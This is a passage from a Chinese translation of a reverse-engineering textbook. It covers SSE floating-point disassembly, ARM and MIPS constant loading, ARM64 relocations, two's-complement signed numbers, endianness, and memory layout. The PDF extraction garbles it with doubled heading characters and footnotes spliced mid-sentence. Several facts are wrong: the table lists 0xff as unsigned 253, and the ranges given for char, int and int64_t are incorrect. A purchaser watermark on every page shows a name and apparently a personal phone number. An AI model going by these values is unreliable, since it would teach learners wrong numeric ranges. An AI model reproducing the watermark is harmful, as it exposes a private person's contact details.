寄存器里。XMM 系列寄存器都是 128 位寄存 器,而双精度 double 型浮点数都是 64 位数据。所以这个程序只使用了寄存器的低半部分。 DIVSD 是 SSE 指令,它的全称是“Divide Scalar Double-Precision Floating-Point Values”,即标量双精 度浮点除法。DIVSD 指令以第一个操作数中的低 64 位中的双精度浮点数做被除数,以第二操作数的低 64 位中的双精度浮点数做除数进行除法运算,商将保存到目标地址(第一操作数)的低 64 位中,目标地址的 高 64 位保存不变。 在上述程序中可以看到,编译器以 IEEE 754 格式封装浮点数常量。 MULSD 和 ADDSD 分别是乘法和加法的运算指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 396 逆向工程权威指南(上册) 上述函数返回的数据类型是 double,由 XMM0 寄存器回传。 由 MSVC 编译器进行非优化编译,可得如下所示的代码。 指令清单 27.2 MSVC 2012 x64 __real@4010666666666666 DQ 04010666666666666r ; 4.1 __real@40091eb851eb851f DQ 040091eb851eb851fr ; 3.14 a$ = 8 b$ = 16 f PROC movsdx QWORD PTR [rsp+16], xmm1 movsdx QWORD PTR [rsp+8], xmm0 movsdx xmm0, QWORD PTR a$[rsp] divsd xmm0, QWORD PTR __real@40091eb851eb851f movsdx xmm1, QWORD PTR b$[rsp] mulsd xmm1, QWORD PTR __real@4010666666666666 addsd xmm0, xmm1 ret 0 f ENDP 上述程序还可以进行优化。请注意:传入的参数被保存到了“阴影空间”(可参见本书 8.2.1 节)。但是 只有寄存器的低半部分数据——即 double 型 64 位数据会被存在阴影空间里。 GCC 编译出的程序与之相同,本文不再介绍。 27.1.2 x86 在使用 MSVC 2012 编译 x86 平台的可执行程序时,编译器会分配 SSE2 指令。 指令清单 27.3 Non-optimizing MSVC 2012 x86 tv70 = -8 ;size=8 _a$ = 8 ;size=8 _b$ = 16 ;size=8 _f PROC push ebp mov ebp, esp sub esp, 8 movsd xmm0, QWORD PTR _a$[ebp] divsd xmm0, QWORD PTR __real@40091eb851eb851f movsd xmm1, QWORD PTR _b$[ebp] mulsd xmm1, QWORD PTR __real@4010666666666666 addsd xmm0, xmm1 movsd QWORD PTR tv70[ebp], xmm0 fld QWORD PTR tv70[ebp] mov esp, ebp pop ebp ret 0 _f ENDP 指令清单 27.4 Optimizing MSVC 2012 x86 tv67 = 8 ; size = 8 _a$ = 8 ; size = 8 _b$ = 16 ; size = 8 _f PROC movsd xmm1, QWORD PTR _a$[esp-4] divsd xmm1, QWORD PTR __real@40091eb851eb851f movsd xmm0, QWORD PTR _b$[esp-4] mulsd xmm0, QWORD PTR __real@4010666666666666 addsd xmm1, xmm0 movsd QWORD PTR tv67[esp-4], xmm1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 27 章 SIMD 与浮点数的并行运算 397 fld QWORD PTR tv67[esp-4] ret 0 _f ENDP 这种 x86 程序与前面介绍的 64 位程序十分相似。它们的区别主要体现在参数的调用规范上: ① x86 程序会像第 17 章的 FPU 例子那样使用栈来传递浮点数,而不是像 64 位程序那样使用 XMM 寄存 器传递浮点型参数。 ② x86 程序的浮点型数据的运算结果保存在 ST(0)寄存器里——这个值是通过局部变量 tv、从 XMM 寄存器复制到 ST(0)寄存器的。 现在,我们使用 OllyDbg 调试前面那个优化编译的 32 位程序,如图 27.1 到图 27.4 所示。 图 27.1 OllyDbg: MOVSD 指令把变量 a 传递给 XMM1 图 27.2 OllyDbg:DIVSD 进行除法运算、把商存储于 XMM1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 398 逆向工程权威指南(上册) 图 27.3 OllyDbg:MULSD 进行乘法运算、把积存储于 XMM0 图 27.4 OllyDbg:ADDSD 计算 XMM0 和 XMM1 的和 从图 27.5 可以看到:虽然 OllyDbg 把单个 XMM 寄存器视为一对 double 数据的寄存器,但是它只使用 了寄存器的低半部分。很明显,OllyDbg 根据 SSE2 指令的后缀“-SD”判断出了数据类型,并据此进行 了数据整理。实际上,OllyDbg 还能够根据 SSE 指令进行判断,把 XMM 寄存器的数据整理为 4 个 float 浮点数、或者是 16 个字节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 27 章 SIMD 与浮点数的并行运算 399 图 27.5 OllyDbg:FLD 把函数返回值传递给 ST(0) 27.2 传递浮点型参数 #include <math.h> #include <stdio.h> int main () { printf ("32.01 ^ 1.54 = %lf\n", pow (32.01,1.54)); return 0; } 在函数间负责传递浮点数的寄存器是 XMM0~XMM3 寄存器。 指令清单 27.5 Optimizing MSVC 2012 x64 $SG1354 DB '32.01 ^ 1.54 = %lf', 0aH, 00H __real@40400147ae147ae1 DQ 040400147ae147ae1r ; 32.01 __real@3ff8a3d70a3d70a4 DQ 03ff8a3d70a3d70a4r ; 1.54 main PROC sub rsp, 40 ; 00000028H movsdx xmm1, QWORD PTR __real@3ff8a3d70a3d70a4 movsdx xmm0, QWORD PTR __real@40400147ae147ae1 call pow lea rcx, OFFSET FLAT:$SG1354 movaps xmm1, xmm0 movd rdx, xmm1 call printf xor eax, eax add rsp, 40 ; 00000028H ret 0 main ENDP 无论是Intel指令白皮书 ①还是AMD指令白皮书 ② ① 请参阅 Int13。 ② 请参阅 AMD13a。 ,都没有记载MOVSDX指令。它就是MOVSD指令。这就是说 异步社区会员 dearfuture(15918834820) 专享 尊重版权 400 逆向工程权威指南(上册) x86 指令集的指令可能对应着多个名称(详情请参阅附录A.6.2)。而此处出现了这个指令,说明微软的研发人员希 望用指令名称来标明操作符的数据类型,避免产生混淆。它是把浮点值传递给XMM寄存器的低半部分的指令。 pow()函数从 XMM0 和 XMM1 中读取参数,再把返回结果存储在 XMM0 寄存器。函数返回值又刻意 通过 RDX 寄存器传递给 printf()函数,不过这是为什么?坦白地讲,我不知道个中缘由。或许这是 printf() 的特性——可受理不同类型参数——造成的。 指令清单 27.6 Optimizing GCC 4.4.6 x64 .LC2: .string "32.01 ^ 1.54 = %lf\n" main: sub rsp, 8 movsd xmm1, QWORD PTR .LC0[rip] movsd xmm0, QWORD PTR .LC1[rip] call pow ; result is now in XMM0 mov edi, OFFSET FLAT:.LC2 mov eax, 1 ; number of vector registers passed call printf xor eax, eax add rsp, 8 ret .LC0: .long 171798692 .long 1073259479 .LC1: .long 2920577761 .long 1077936455 GCC 的编译手法更易懂一些。它使用 XMM0 寄存器向 printf()函数传递浮点型参数。此外,在向 printf() 函数传递参数的时候,程序将 EAX 寄存器的值设置为 1。这就相当于告诉函数“有 1 个参数在矢量寄存器 里”。这种特例完全遵循了有关规范(请参阅 Mit13)。 27.3 浮点数之间的比较 #include <stdio.h> double d_max (double a, double b) { if (a>b) return a; return b; }; int main() { printf ("%f\n", d_max (1.2, 3.4)); printf ("%f\n", d_max (5.6, -4)); }; 27.3.1 x64 指令清单 27.7 Optimizing MSVC 2012 x64 a$ = 8 b$ = 16 d_max PROC 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 27 章 SIMD 与浮点数的并行运算 401 comisd xmm0, xmm1 ja SHORT $LN2@d_max movaps xmm0, xmm1 $LN2@d_max: fatret 0 d_max ENDP MSVC 的优化编译结果简明易懂。 其中,COMISD 的全称是“Compare Scalar Ordered Double-Precision Floating-Point Values and Set EFLAGS”。它是比较双精度标量并设置标志位的指令。 MSVC 的非优化编译结果同样不难阅读,只是程序的效率低了一些。 指令清单 27.8 MSVC 2012 x64 a$ = 8 b$ = 16 d_max PROC movsdx QWORD PTR [rsp+16], xmm1 movsdx QWORD PTR [rsp+8], xmm0 movsdx xmm0, QWORD PTR a$[rsp] comisd xmm0, QWORD PTR b$[rsp] jbe SHORT $LN1@d_max movsdx xmm0, QWORD PTR a$[rsp] jmp SHORT $LN2@d_max $LN1@d_max: movsdx xmm0, QWORD PTR b$[rsp] $LN2@d_max: fatret 0 d_max ENDP 然而 GCC 4.4.6 优化得更为彻底。它直接使用 MAXSD 指令(Return Maximum Scalar Double-Precision Floating-Point Value),一步就可完成任务。 指令清单 27.9 Optimizing GCC 4.4.6 x64 d_max: maxsd xmm0, xmm1 ret 27.3.2 x86 使用 MSVC 2012 对上述代码进行优化编译,可得到如下所示的代码。 指令清单 27.10 Optimizing MSVC 2012 x86 _a$ = 8 ; size = 8 _b$ = 16 ; size = 8 _d_max PROC movsd xmm0, QWORD PTR _a$[esp-4] comisd xmm0, QWORD PTR _b$[esp-4] jbe SHORT $LN1@d_max fld QWORD PTR _a$[esp-4] ret 0 $LN1@d_max: fld QWORD PTR _b$[esp-4] ret 0 _d_max ENDP 这个程序用栈向函数传递变量 a 和 b,并且把函数返回值存储在 ST(0)寄存器里。除此之外它和 64 位 的程序没有区别。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 402 逆向工程权威指南(上册) 使用 OllyDbg 调试这个程序,则可以观察 COMISD 指令比较数值、设置/清零 CF/PF 标识位的具体过 程,如图 27.6 所示。 图 27.6 OllyDbg:COMISD 指令调整 CF 和 PF 标识位 27.4 机器精 本书在22.2.2 节就介绍过机器精度的具体计算算法。在这一节里,我们把它编译为如下所示的64 位应用程序。 指令清单 27.11 Optimizing MSVC 2012 x64 v$ = 8 calculate_machine_epsilon PROC movsdx QWORD PTR v$[rsp], xmm0 movaps xmm1, xmm0 inc QWORD PTR v$[rsp] movsdx xmm0, QWORD PTR v$[rsp] subsd xmm0, xmm1 ret 0 calculate_machine_epsilon ENDP 由于 INC 指令无法对 128 位的 XMM 寄存器里的值进行操作,程序首先把寄存器的值传递到了内存中 的某个地址。 然而这也不是必须如此。如果在此处直接使用 ADDSD(Add Scalar Double-Precision Floating-Point Values)指令,就能够直接对 XMM 寄存器的低 64 位进行加法运算,同时保持寄存器的高 64 位不变。或 许,我们不得不说 MSVC 2012 还有改善的余地。 我们再看这个程序。在完成递增运算之后,程序把返回值再次回传给了 XMM 寄存器,然后对 XMM 寄存器进行减法(比较)操作。SUBSD 的全称是“Substract Scalar Double-Precision Floating-Point Values”。 它只对 128 位 XMM 寄存器的低 64 位进行操作。最后,减法运算的返回值保存在 XMM0 寄存器中。 27.5 伪随机数生成程序(续) 现在,我们再次利用 MSVC 2012 编译指令清单 22.1 的源程序。这个版本的 MSVC 编译器能够直接分 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 27 章 SIMD 与浮点数的并行运算 403 配 FPU 的 SIMD 指令。 指令清单 27.12 Optimizing MSVC 2012 __real@3f800000 DD 03f800000r ; 1 tv128 = -4 _tmp$ = -4 ?float_rand@@YAMXZ PROC push ecx call ?my_rand@@YAIXZ ; EAX=pseudorandom value and eax, 8388607 ; 007fffffH or eax, 1065353216 ; 3f800000H ; EAX=pseudorandom value & 0x007fffff | 0x3f800000 ; store it into local stack: mov DWORD PTR _tmp$[esp+4], eax ; reload it as float point number: movss xmm0, DWORD PTR _tmp$[esp+4] ; subtract 1.0: subss xmm0, DWORD PTR __real@3f800000 ; move value to ST0 by placing it in temporary variable... movss DWORD PTR tv128[esp+4], xmm0 ; ... and reloading it into ST0: fld DWORD PTR tv128[esp+4] pop ecx ret 0 ?float_rand@@YAMXZ ENDP 编译器大量使用了带有“-SS”后缀的指令。这个后缀是“Scalar Single”的缩写。“Scalar(标量)”表 明寄存器里只有一个值,“Single”则表明该值是单精度 float 型的数据。 27.6 总结 在 XMM 寄存器里存储 IEEE 754 格式格式浮点数的时候,本章的所有程序都只用到了 128 位寄存器空 间的低 64 位。 这是由操作指令决定的。本章中的指令都带有-SD(Scalar Double-Precision)后缀。因此,所有指令操 作的数据类型都是 IEEE 754 格式的双精度浮点数。这种数据只会占用 XMM 寄存器的低 64 位。 SIMD 指令集比 FPU 的指令更易理解。过去的那些 FPU 指令距离人类语言较远,而且它们还往往涉及 FPU 寄存器的栈结构,远不如 SIMD 指令直观。 如果把本章源程序的数据类型都从 double 改为 float,那么操作浮点数的指令都将改为-SS 后缀(Scalar Single-Precision)。您将看到 MOVSS/COMISS/ADDSS 等指令。 “Scalar”就是“标量”的意思,它表示寄存器里只含有一个值。如果一个寄存器里存有多个值,那么 对这些寄存器进行操作的指令的名字里都会带有“packed”字样。 还需要强调的是,SSE2 指令的操作数都是 IEEE 754 格式的 64 位数据,而 FPU 内部则使用 80 位的数 据格式存储数据。所以 FPU 的误差较小、精度较高。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2288 章 章 AARRM M 指 指令 令详 详解 解 28.1 立即数标识(#) 在 Keil 编译器的链接文件里,以及在 IDA 和 objdump 程序显示 ARM 的汇编指令时,立即数(汇编指 令中的常量)前面都有“#”标识。然而 GCC 4.9 的编译文件中没有这种立即数标识。请对照一下 14.1.4 节和 39.3 节中的指令清单。 本章列举了很多例子,它们是由多种编译器生成的汇编代码。有些汇编指令的立即数确实没有井号标 识,因为它们是 GCC 编译出来的文件。 这种问题毕竟谈不上谁比谁更为正宗。我们也建议读者不必深究这种格式上的问题。 28.2 变址寻址 以 64 位的寻址指令为例: ldr x0, [x29,24] 上述指令从 X29 寄存器中取值,把这个值与 24 相加,再将算术和对应地址的值复制给 X0 寄存 器。请注意,X29 和 24 都在方括号之中。如果 24 不在方括号里,指令的涵义就完全不一样了。我 们来看: ldr w4, [x1],28 上述指令在 X1 寄存器所表示的地址取值,然后进行“指针 X1 所对应的值+28”的运算。 ARM 可以在取值过程中进行立即数的加减运算。它即可以在取值前进行地址运算,还可以在取值后 进行数值运算。 x86 的汇编指令不支持这种操作。但是包括旧式的 PDP-11 平台在内,许多其他处理器平台都支持 这种运算。PDP-11 平台的指令集支持前增量(pre-increment)、前减量(pre-decrement)、后增量(post- increment)、后减量(post-decrement)运算。这大体可以归咎于 C 语言(基于 PDP-11 平台开发的) 里的*ptr++、*++ptr、*ptr--、*--ptr 一类的指令。在 C 语言中,这些指令确实属于不易掌握的指令。本 文将之整理如下。 C 术语 ARM 术语 C 语句 工作原理 后增量 后变址寻址 *ptr++ 使用*ptr 的值后,再进行递增运算 后减量 后变址寻址 *ptr-- 使用*ptr 的值后,再进行递减运算 前增量 前变址寻址 *++ptr ptr 先递增,后取*ptr 的值 前减量 前变址寻址 *--ptr ptr 先递减,后取*ptr 的值 前变址寻址的指令带感叹号标识。例如,指令清单 3.15 的第二条指令“stp x29, x30, [sp,#-16]!”。 Dennis Ritchie(C 语言的作者之一)曾经提到过,变址寻址是 Ken Thompson(另一位 C 语言的作者) 根据 PDP-7 平台的特性开发的指令(请参阅[Rit86][Rit93])。现在 C 语言编译器仍然保持着这种兼容性, 只要硬件处理器支持,编译器就可以进行相应的优化编译。 变址寻址的优越性集中体现在数组的操作方面。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 28 章 ARM 指令详解 405 28.3 常量赋值 28.3.1 32 位 ARM 所有的 Thumb 模式的汇编指令都是 2 字节指令,所有的 ARM 模式的汇编指令都是 4 字节指令。ARM 模式指令和 32 位的立即数都占用 4 字节,又如何进行 32 位立即数赋值呢? 我们来看: unsigned int f() { return 0x12345678; }; 指令清单 28.1 GCC 4.6.3 -O3 ARM mode f: ldr r0, .L2 bx lr .L2: .word 305419896 ; 0x12345678 可见,0x12345678 存储于内存之中,供其他指令调用。但是这种指令增加了 CPU 访问内存的次数。 我们可以改善这一状况。 指令清单 28.2 GCC 4.6.3 -O3 -march=armv7-a (ARM mode) movw r0, #22136 ; 0x5678 movt r0, #4660 ; 0x1234 bx lr 上述指令把一个立即数分为 2 个部分,并依次存储到同一个寄存器里。它使用 MOVW 指令先把立即 数的低位部分存储到寄存器里,然后再使用 MOVT 存储这个数的高位部分。 这也就是说,ARM 模式的程序需要 2 个指令才能加载一个 32 位的立即数。除了 0 和 1 之外,程序很 少用到常量,所以这种分步赋值的方法不会造成实际问题。有人会问,这种一分为二的做法会不会造成性 能的下降呢?虽然肯定比单条指令的效率要低,但是现在的 ARM 处理器能够检测到这种指令序列并能够 对这种指令进行优化。 另外,IDA 这样的工具能够识别出这种一分为二指令,并在显示的时候把它们合二为一。 MOV R0, 0x12345678 BX LR 28.3.2 ARM64 uint64_t f() { return 0x12345678ABCDEF01; }; 指令清单 28.3 GCC 4.9.1 -O3 mov x0, 61185 ; 0xef01 movk x0, 0xabcd, lsl 16 movk x0, 0x5678, lsl 32 movk x0, 0x1234, lsl 48 ret 其中,MOVK 是“MOV Keep”的缩写。它把 16 位数值存储到寄存器里,而保留寄存器里的其他比特 异步社区会员 dearfuture(15918834820) 专享 尊重版权 406 逆向工程权威指南(上册) 位。实际上这几个 MOVK 指令先使用 LSL 指令依次位移了 16、32、48 位,然后再进行的赋值操作。即, 程序通过 4 条指令把一个 64 位数值存储到寄存器里。 浮点数 一条指令就可把浮点型数据存储到 D-存储器里。我们来看: double a() { return 1.5; }; 指令清单 28.4 GCC 4.9.1 -O3 + objdump 0000000000000000 <a>: 0: 1e6f1000 fmov d0, #1.500000000000000000e+000 4: d65f03c0 ret 上面这个单条 32 位指令如何封装浮点数 1.5 呢?在ARM64 的FMOV指令里,有 8 个特殊的比特位。 这 8 位空间用于编排浮点型数据。通过VFPExpandImm()函数的算法,编译器把浮点数封装在FMOV指令的 8 位空间里。这种算法又叫作minifloat ① 28.4 重定位 ,实现方法请参见[ARM13a]。我测试了几个浮点数,发现编译器能 够通过该函数把 30.0 和 31.0 编排在 8 位指令空间里。但是这 8 位空间无法封装 32.0。根据IEEE 754 规范, 32.0 要占用 8 个字节的空间。 double a() { return 32; }; 上述源程序的汇编指令如下所示。 指令清单 28.5 GCC 4.9.1 -O3 a: ldr d0, .LC0 ret .LC0: .word 0 .word 1077936128 我们已经知道 ARM64 的指令都是 4 字节(汇编)指令。4 个字节的容量有限,无法封装很大的数。 尽管如此,程序镜像可能会被操作系统加载内存中的任意地址,这就需要(基址)重定位(relocations/relocs) 来进行修正。有关重定位的详细介绍,请参见本书的 68.2.6 节。 ARM64 成对使用 ADRP 和 ADD 指令来传递 64 位指针地址。ADRP 指令用来获取标签所在处(本例 是 main)的 4KB 分页地址,而 ADD 指令则负责存储偏移量的其余部分。在 Win32 下使用 GCC(Linaro) 4.9 编译了“Hello, word!”程序(即第 6 章的第一个程序),然后使用 objdump 工具分析它的目标文件。 指令清单 28.6 GCC (Linaro) 4.9 and objdump of object file ...>aarch64-linux-gnu-gcc.exe hw.c –c ...>aarch64-linux-gnu-objdump.exe -d hw.o ... ① https://en.wikipedia.org/wiki/Minifloat。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 28 章 ARM 指令详解 407 0000000000000000 <main>: 0: a9bf7bfd stp x29, x30, [sp,#-16]! 4: 910003fd mov x29, sp 8: 90000000 adrp x0, 0 <main> c: 91000000 add x0, x0, #0x0 10: 94000000 bl 0 <printf> 14: 52800000 mov w0, #0x0 // #0 18: a8c17bfd ldp x29, x30, [sp],#16 1c: d65f03c0 ret ...>aarch64-linux-gnu-objdump.exe -r hw.o ... RELOCATION RECORDS FOR [.text]: OFFSET TYPE VALUE 0000000000000008 R_AARCH64_ADR_PREL_PG_HI21 .rodata 000000000000000c R_AARCH64_ADD_ABS_LO12_NC .rodata 0000000000000010 R_AARCH64_CALL26 printf 这个目标文件有 3 个地方涉及重定位:  第一处首先获取页面地址,把地址的低 12 位舍去,以便在 ADRP 指令里封装地址的高 21 位。ADRP 获取的偏移量的 4KB 地址,其最后 12 位肯定是零,所以可以被忽略;另一方面,ADRP 指令也 只有 21 位空间可以封装数据。  其后的 ADD 指令则用于保存偏移量的低 12 位。  跳转到 printf()函数的 BL 指令。若把 B/BL 指令逐位的展开,会看到其中只有 26 比特可供存储偏 移量。实际上 ARM 模式和 ARM64 模式的转移指令只可能跳转到 4 的整数倍的偏移量地址,所 以在指令中省略了最后的 2 位(相当于右移 2 位)。在执行转移指令时,相当于先对文件中的偏移 量左移两位后再进行相应跳转。如此一来,转移指令的偏移量空间是 28 位,而不是 26 位;即可 跳转至 PC±128MB 的地址(即偏移量的取值范围)。 最后生成的可执行文件里并没有再出现重定位。因为在编译过程的后续阶段,“Hello!”字符串的相对 地址、分页地址,以及 puts()函数的相对地址都是可被确定的已知数。链接器 linker 可依次计算出 ADRP、 ADD 和 BL 指令所需的实际偏移量。 使用 objdump 分析最终的可执行文件,可以看到如下所示的代码。 指令清单 28.7 objdump of executable file 0000000000400590 <main>: 400590: a9bf7bfd stp x29, x30, [sp,#-16]! 400594: 910003fd mov x29, sp 400598: 90000000 adrp x0, 400000 <_init-0x3b8> 40059c: 91192000 add x0, x0, #0x648 4005a0: 97ffffa0 bl 400420 <puts@plt> 4005a4: 52800000 mov w0, #0x0 // #0 4005a8: a8c17bfd ldp x29, x30, [sp],#16 4005ac: d65f03c0 ret ... Contents of section .rodata: 400640 01000200 00000000 48656c6c 6f210000 ........Hello!.. BL 指令要跳转到的地址可以推算出来。 假如 BL 那条指令的 opcode 是 0x97ffffa0,即二进制的 10010111111111111111111110100000。依据 [ARM13a]C5.2.26 描述的有关技术规范,opcode 的最后 26 位是 imm26。因此 imm26 的二进制数值为 11111111111111111110100000,即 imm26 = 0x3FFFFA0。但是 imm26 的最高数权位即符号位是 1,所以它是 异步社区会员 dearfuture(15918834820) 专享 尊重版权 408 逆向工程权威指南(上册) 负数的补码。要把补码转换为原码,则要进行就取非再加一的运算。由此可得原码为负的 0x5F+1=0x60, 即−0x60。ARM 指令里的偏移量是实际偏移量除以 4,所以实际偏移量是其 4 倍,即−0x180。综上,BL 将 要跳转到的目标地址是 0x4005a0−0x180 = 0x400420。请注意:要以 BL 指令的偏移量为基数进行计算。如 果要对 PC 指针进行计算,那么整个推算过程将完全不同。 如需深入了解 AM64 的重定位,请参见《ELF for the ARM 64-bit Architecture (AArch64)》(2013)。其 官方下载地址是 http://infocenter.arm.com/help/topic/com.arm.doc.ihi0056b/IHI0056B_aaelf64.pdf。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2299 章 章 M MIIPPSS 的 的特 特点 点 29.1 加载常量 unsigned int f() { return 0x12345678; }; MIPS 和 ARM 平台的指令都是定长指令。MIPS 程序的指令都是 32 位 opcode。在 MIPS 平台上,我们 不可能只使用单条指令就完成对 32 位常量的赋值操作。所以此类操作至少分两步进行:首先传递 32 位数 据的高 16 位,然后再通过 ORI 操作向寄存器传递立即数的低 16 位。 指令清单 29.1 GCC 4.4.5 -O3 (assembly output) li $2,305397760 # 0x12340000 j $31 ori $2,$2,0x5678 ; branch delay slot IDA 能够识别此类组合指令。为了方便阅读,它对后面的 ORi 指令进行了处理:用伪指令 LI 替换了 Ori 指令,而且用完整的 32 位值替换了值的低 16 位。 指令清单 29.2 GCC 4.4.5 -O3 (IDA) lui $v0, 0x1234 jr $ra li $v0, 0x12345678 ; branch delay slot GCC 直接生成的汇编输出文件(assembly output)同样使用了 LI 伪指令。不过 GCC 的 LI 实际上是 LUI(Load Upper Immediate)指令,把数据的高 16 位传递给寄存器的高半部分。 29.2 阅读推荐 Dominc Sweetman 撰写的《See MIPS Run(第二版)》,2010 年印刷。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第二 二部 部分 分 硬 硬件 件基 基础 础 异步社区会员 dearfuture(15918834820) 专享 尊重版权 412 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3300 章 章 有 有符 符号 号数 数的 的表 表示 示方 方法 法 有符号数通常以二进制补码 ① 二进制 的形式存储于应用程序里。维基百科介绍了各种表示方法,有兴趣 的读者可参见:http://en. wikipedia.org/wiki/Signed_number_representations。本节摘录了一些典型的单 字节数值。 十六进制 无符号值 有符号值(补码) 01111111 0x7f 127 127 01111110 0x7e 126 126 ... 00000010 0x2 2 2 00000001 0x1 1 1 00000000 0x0 0 0 11111111 0xff 253 −1 11111110 0xfe 254 −2 ... 10000010 0x82 130 −126 10000001 0x81 129 −127 10000000 0x80 128 −128 如果 0xFFFFFFFE 和 0x0000002 都是无符号数,则第一个数(4294967294)就比第二个数(2)大。如 果这两个值表示的是有符号数,那么第一个数(−2)反而比第二个数(2)小了。所以,为了正确操作有 符号数和无符号数,条件转移指令(参见本书第 12 章)特地分为 JG/JL 系列(signed 型)和 JA/JBE 系列 (unsigned 型)两套指令。 为了便于记忆,我们总结其特点如下。  同一个数值即可以表示有符号数,也可以表示无符号数。  C/C++的有符号型数据有: — int64_t (从-9223372036854775806 至 9223372036854775807 ),即从 0x8000000000000000 至 0x7FFFFFFFFFFFFFFF) — int(取值范围从−2147483646 至 2147483647,即 0x80000000 至 0x7FFFFFFF)。 — char(取值范围从−127 至 128,即从 0x7F 至 0x80)。 — ssize_t。  无符号型数据有: — uint64_t(从 0 至 18446744073709551615/0xFFFFFFFFFFFFFFFF): — unsigned int(取值范围从 0 至 4294967295,即从 0 至 0xFFFFFFFF)。 — unsigned char(取值范围从 0 至 255,即从 0 至 0xFF)。 — size_t。  有符号数的最高数权位是符号位:1 代表负数,0 代表正数。  从数据宽度较小的数据转换为数据宽度较大的数据是可行的。可参见前面 24.5 节。  负数的补码和原码的双向转换过程是相同的,都是逐位求非再加 1。这种运算过程简单易记:同 一个值的正负数是相反的值,所以要求非;求非之后再加 1 则是因为中间的“零”占了一个数的 ① two’s complement;简称为“补码”。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 414 逆向工程权威指南(上册) 位置。  加减运算不区分有符号数和无符号数,它们的加减运算指令完全相同。但是乘除法运算还是有区 别的:在 x86 指令集里,有符号数的乘除指令是 IMUL/IDIV,而无符号数的指令是 MUL/DIV。  此外,有符号数的操作指令更多一些。例如 CBW/CWD/CWDE/CDQ/CDQE(附录 A.6.3)、MOVSX (15.1.1 节),SAR(附录 A.6.3)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3311 章 章 字 字 节 节 序 序 字节序是指多字节类型的数据在内存中的存放顺序,通常可分为小端、大端两种字节序。小端字节序 (Little-endian)指低数权字节数据存放在内存低地址处,高数权字节数据存放在内存高地址处的内存分布方式; 大端字节序(Big-endian)是高数权字节数据存放在低地址处,低字节数据存放在高地址处的内存分布方式。 31.1 大端字节序 在采用大端字节序时,0x12345678 在内存中的存储方式如下所示。 内存地址 字节值 +0 0x12 +1 0x34 +2 0x56 +3 0x78 Motorola 68k、IBM POWER 系列 CPU 采用大端字节序。 31.2 小端字节序 在采用小端字节序时,0x12345678 在内存中的存储方式如下所示。 内存地址 字节值 +0 0x78 +1 0x56 +2 0x34 +3 0x12 Intel x86 系列 CPU 采用小端字节序。 31.3 举例说明 为了进行演示,我们可以在QEMU的虚拟化环境中安装MIPS Linux。 ① ① Debian 网站提供虚拟机下载:https://people.debian.org/~aurel32/qemu/mips/。 接下来在 MIPS Linux 里编译下述程序: #include <stdio.h> int main() { int v, i; v=123; printf ("%02X %02X %02X %02X\n", 异步社区会员 dearfuture(15918834820) 专享 尊重版权 416 逆向工程权威指南(上册) *(char*)&v, *(((char*)&v)+1), *(((char*)&v)+2), *(((char*)&v)+3)); }; 然后运行下述指令: root@debian-mips:~# ./a.out 00 00 00 7B 其中,0x7B 就是十进制的 123。在采用小端字节序的平台上,例如 x86 或 x86-64 的系统上,第一个字 节就是 0x7B。但是 MIPS 采用的是大端字节序,所以数权最高的这个字节排列在最后。 正是因为 MIPS 的硬件平台可能采用两种不同的字节序,所以 MIPS Linux 又分为采用大端字节序的 MIPS Linux 和采用小端字节序的 mipsel Linux。在采取一种字节序的平台上编译出来的程序,不可能在另 一种字节序的平台上运行。 本书的 21.4.3 节就介绍过 MIPS 大端字节序的特征。 31.4 双模二元数据格式 ARM、PowerPC、SPARC、MIPS、IA64 等 CPU 采用双模二元数据格式(Bi-endian),它们即可以工 作于小端字节序也可以切换到大端字节序。 31.5 转换字节序 BSWAP 指令可在汇编层面转换数据的字节序。 TCP/IP 数据序的封装规范采用大端字节序,所以采用小端字节序平台的系统就需要使用专门的转换字 节序的函数。 常用的字节序转换函数是 htonl()和 htons()。 在 TCP/IP 的术语里,大端字节序又称为“网络字节顺序(Network Byte Order)”,网络主机采用的字 节序叫作“主机字节顺序”。x86 和其他一些平台的主机字节序是小端字节序,但是 IBM POWER 等著名服 务器系列均采用大端字节序。因此,在主机字节顺序为大端字节序的平台上使用 htonl()或 htons()函数转换 字节序,其实不会进行真正意义上的字节重排。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3322 章 章 内 内 存 存 布 布 局 局 C/C++把内存划分为许多区域,主要的内存区域有:  全局内存空间,又称为“(全局)静态存储区 static memory allocation”。编程人员不需要为全局变 量和静态变量明确划分存储空间凡是由源程序声明的全局变量、全局数组,编译器都能够在数据 段或常量段为其分配适当的存储空间。由于整个程序都可以访问这个区域的数据,所以人们认为 使用这种存储空间数据会破坏程序的结构化体系。此外,在全局内存区存储数据之前,必须事先 声明其确切的容量。因而这个空间不适用于存储缓存或动态数组。在全局内存空间出现的缓冲区 溢出问题,往往将覆盖在内存中相邻位置的变量或缓存(请参阅本书 7.2 节的案例)。  栈空间,即分配给栈的存储区域。它是由编译器自动分配、释放的存储区域,常用于存放函数的 参数和局部变量。在特定情况下,局部变量可被其他函数访问(局部变量的指针作为参数传递给 被调用方函数)。在指令层面,“分配和释放栈空间的实质就是调整SP寄存器的值,因而分配和释 放栈空间的操作速度非常快。编译器只能为那些在编译阶段确定存储空间的局部变量分配栈空间。 因此,无法事先预判存储空间的缓冲型数据类型,即缓冲区和动态数组 ① ① 除非像 5.2.4 节那样使用 alloca()函数。 不会被分配到栈空间里。 在栈空间发生的缓冲区溢出问题,通常会篡改栈里的重要数据(请参阅本书 18.2 节的案例)案例)。  堆空间,即“动态内存分配区。C 语言的 malloc()/free()函数或 C++的 new/delete 语句即可分配、 释放堆空间)。“不必事先声明堆空间的大小”即“可在程序启动以后再确定数据块的容量”这一 特征构成了其独特的便利性。另外,程序员还可以动态调整(realloc()函数)内存块的大小,只是 调整堆空间的操作速度不很理想。在内存分配操作中,申请、释放堆空间的操作是速度最慢的操 作:在分配、释放堆空间时,进行这种操作的程序必须支持并且更新所有控制结构。在这个区域 